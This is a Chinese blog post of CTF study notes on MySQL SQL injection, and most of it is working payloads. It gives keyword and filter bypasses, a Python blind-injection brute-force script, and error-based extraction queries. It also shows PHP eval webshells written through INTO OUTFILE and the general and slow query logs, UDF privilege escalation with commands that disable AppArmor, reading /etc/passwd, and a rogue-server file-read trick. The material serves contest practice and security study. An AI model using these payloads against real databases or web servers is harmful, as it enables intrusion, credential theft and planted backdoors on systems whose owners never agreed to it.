CTF考点总结-sql注入

整理下sql相关知识,查漏补缺(长期更新)

常用语句及知识

information_schema包含了大量有用的信息,例如下图

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

 当前用户:select user() 
数据库版本:select version() , select @@version 
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
读文件:select load_file('/etc/passwd')
写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过

常用函数

截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
多行拼接:group_concat //eg: select group_concat(user) from mysql.user
时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等
编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)
布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

所有函数及运算符:https://dev.mysql.com/doc/refman/5.7/en/functions.html

绕过方法

绕过空格

%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境,%0a为\n

/!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1

绕过单引号

\转义、宽字节%df%27,%bf%27、十六进制绕过

注释方法

/**/、--+、#、;%00、union /*!select*/(mysql独有)

select from union select绕过

select-1,user from mysql.user
select@1,user from mysql.user
select~1,user from mysql.user
select`user`,user from mysql.user
select(1),user from mysql.user
select'1',user from mysql.user
select+1,user from mysql.user

select 1,1e2from mysql.user
select 1,.9from mysql.user
select 1``from mysql.user
select 1''from mysql.user
select 1'123'from mysql.user
select '1'''from mysql.user
select 1""from mysql.user
select "1"""from mysql.user

select 1 from mysql.user where user=.1union select 1
select 1 from mysql.user where user=1e1union select 1
select 1 union--%0aselect 2
select 1 union--%0e%0aselect 2
select 1 union all select 2

set绕过

select '123' into @a
select @a:='123'
select 1 from mysql.user where @a:='123'
do @a:='123'

.绕过(点绕过)//select,from等关键字绕过都可以使用

select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'
set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; 

information_schema绕过:

select table_name from mysql.innodb_index_stats 表名 
select database_name from mysql.innodb_index_stats 库名 
select table_name from mysql.innodb_table_stats 表名 
select database_name from mysql.innodb_table_stats 库名

聊一聊bypass information_schema,https://www.anquanke.com/post/id/193512

逗号绕过

select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf) 
select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)

奇技淫巧

按注入方法分类

数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...

按语句分类

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类

回显注入、布尔注入、时间注入、报错注入...

无字段名,同表注入

(1)别名,子查询

select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1

(2)堆叠

select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c

order by排序注入

首先假设有这样一张表

有以下代码

<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ctf";
$conn = new mysqli($servername, $username, $password, $dbname);

function check($s){
         if(preg_match("/\)|\(|_|\.|\|/i",$s))  #()_.|
       {    
             die('hack!'); 
       }
   }
$username=$_GET['username'];
check($username);

$sql = "select * from user where username='$username'";
$result = $conn->query($sql);
 
if ($result->num_rows > 0) {
    if($row = $result->fetch_assoc()) {
        echo "username: " . $row["username"]."<br>";
    }
}
$conn->close();
?>

因为()_.|被过滤,所以我们无法从information_schema和函数获取信息。

现在我们要获取admin的flag的hash,但是我们不知道字段名,且没有.不能使用别名或子查询的方式获取,可以使用这样的方法。

下面正式开始

首先我们知道order by 可以排序,所以利用这一点可以进行字符串比较,如下就是order by 对admin进行呢比较我们现在就已经确定前两个字母为ad了

同理

 

现在我们知道admin的flag第一个字符为7了,继续

现在我们知道,前两个字符为79了 //9的ascii为57而:的ascii为58,所以:比9大

以此我们可以写出以下脚本

import requests

url= 'http://127.0.0.1/mysql.php'
flag=''
for i in range(50):
    for j in range(48,128):
        payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))
        r=requests.get(url+payload).text
        print j
        if 'admin' in r:
            flag+=chr(j-1)
            print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1
            break

order by,desc,asc注入

正常的order语句,因为查询两列,所以order by 1,3报错

但是这样就不报错了,甚至不会大整数溢出,但是会产生延时

因为延时注入,会对每一行都执行一次,结果就会变得很慢,所以也可以采用其他的方法。

方法:使用like,regexp等来进行报错注入

payload

select user,host from mysql.user order by 1,(1 regexp if((1=0),1,0x00));
select user,host from mysql.user order by 1,(1 like if((1=0),1,(select 1+~0)));

desc注入

用法:desc mysql.user 等同于show columns from mysql.user

 

 怎么利用呢?

漏洞代码:

攻击方法:

payload:  ?table=note`#` where (select database()='d')#` 

$sql1 => desc `cms_note`#` where (select database()='d')#` 

$sql2 => select * from cms_note`#` where (select database()='d')#` where id = 

floor报错注入

原理:

rand(),随机一个0-1的数

rand(0)即为rand函数设定种子为0,所以它的值是固定的

在表中表现为这样

floor()为向下取整,所以floor(rand(0)*2)即

count:https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html

count为统计行数,当count与group by 一起使用时会新建一个虚拟表,遍历查询结果,将重复数据进行计数,如果结果不存在于虚拟表内,则添加进虚拟表,count数+1。如图所示

一共652行

使用group by后,会统计每个字段出现的次数

所以 select count() from mysql.user group by floor(rand(0)2) 就是这样一个流程

floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...

首先产生一个空的虚拟表

查询第一行,第一次执行floor(rand(0)2)结果为0,此时虚拟表为空,所以直接插入,插入时会再次执行floor(rand(0)2),该次为第二次所以实际插入key值为1,count为1

查询第二行,第三次执行floor(rand(0)*2)结果为1,虚拟表中已存在1,所以key值1的count+1,

查询第三行,第四次执行floor(rand(0)2)结果为0,虚拟表中不存在0,所以插入,插入时第五次执行floor(rand(0)2),该次结果为1,所以插入的key为1,但是key已经存在,所以报错Duplicate entry '1' for key '<group_key>'

 

所以该报错方式的关键为count、group by、rand。floor只是起到一个辅助作用

payload:

select count(*),concat(user(),floor(rand(0)*2))x from mysql.user group by x

select count(*) from mysql.user group by concat(user(),floor(rand(0)*2))

select count(*),concat(user(),floor(rand(0)*2)) from mysql.user group by 2

xpath报错注入

原理比较简单

updatexml (XML_document, XPath_string, new_value);
extractvalue(XML_document, XPath_string)

因为我们输入的第二个参数不符合xpath格式自然报错,xpath_string最大长度为32位,所以报错长度也为32位

(1)extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));

(2)updatexml():

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

大整数溢出

select 1+~0
select 2*~0
select pow(2,1024)

name_const列名重复报错

select * from (select name_const(version(),1),name_const(version(),1))x //只能使用常量和普通字符串

jion列名重复报错

select * from(select a.1 from mysql.user a join mysql.user b)c

rlike,regexp正则匹配报错:

rlike,regexp

select 1 regexp 0x00
select 1 regexp ''
select 1 rlike 0x00

其他报错注入

以下均摘自《代码审计:企业级Web代码安全架构》一书

mysql低版本以下可用的报错

select geometrycollection((select * from(select * from(select user())a)b)); 
select multipoint((select * from(select * from(select user())a)b)); 
select polygon((select * from(select * from(select user())a)b)); 
select multipolygon((select * from(select * from(select user())a)b)); 
select linestring((select * from(select * from(select user())a)b)); 
select multilinestring((select * from(select * from(select user())a)b)); 
select exp(~(select * from(select user())a));

写webshell

(1) 直接写

查看可写目录范围,默认为空即不可写不可读

select @@secure_file_priv

写入

select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'

(2) 日志写webshell

MySQL日志文件系统的组成:
错误日志log_error:记录启动、运行或停止mysqld时出现的问题。
通用日志general_log:记录建立的客户端连接和执行的语句。
更新日志:记录更改数据的语句。该日志在MySQL 5.1中已不再使用。
二进制日志:记录所有更改数据的语句。还用于复制。
慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。
Innodb日志:innodb redolog

以下举例两种

show global variables like "%general%";                 #查看general文件配置情况
set global general_log='on';                            #开启日志记录
set global general_log_file='C:/phpstudy/WWW/shell.php';
select '<?php @eval($_POST[shell]); ?>';                #日志文件导出指定目录
set global general_log=off;                             #关闭记录
show variables like '%slow%';                           #慢查询日志

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;

/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/

select '<?php phpinfo();?>' from mysql.user where sleep(10);

udf提权

大致流程如下,将udf文件windows为dll文件 ,linux为so文件导入服务器mysql插件目录即可。

可以自己写一些udf文件来编译。

推荐sqlmap提供的udf文件

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf

因为udf文件较大,详细点击这里

https://files.cnblogs.com/files/kagari/udf.js

高版本中mysql无法向/usr目录写文件,可以导入到/tmp,之后mv到/usr/lib/mysql/plugin下

导入成功之后,如果执行命令为空,则今儿参考https://www.cyberciti.biz/faq/ubuntu-linux-howto-disable-apparmor-commands/

执行
ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart

mysql任意文件读漏洞

原理:

  1. 当服务端执行load data local infile时,会从客户端会读取对应的文件。 //load data infile则是从服务端本身读取

  2. mysql客户端连接服务端时,服务端可以让客户端执行sql语句,

所以伪造一个服务端,让客户端连接并执行load data local infile即可任意文件读。

这里推荐下 ev0A大佬的工具:https://github.com/ev0A/Mysqlist

例子: phpmyadmin开启远程登陆后就会出现该漏洞

格式化字符串漏洞与sql注入

sprintf

//?user=%1$\&pass=%20or%201=1%23
<?php
$user=addslashes($_GET['user']);
$pass=addslashes($_GET['pass']);
$sql = "select * from user where username = '$user' and password='%s';";
echo sprintf( $sql, $pass) ;
//select * from user where username = '\' and password=' or 1=1#';
?>

https://www.cnblogs.com/test404/p/7821884.html

参考文章:

https://p0sec.net/index.php/archives/117/

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://www.cnblogs.com/sfriend/p/11365999.html

https://www.cnblogs.com/csyxf/p/10241456.html

https://www.cnblogs.com/wintrysec/p/10875242.html

https://paper.seebug.org/218/

posted @ 2020-04-05 02:02  ~kagi~  阅读(4247)  评论(0编辑  收藏  举报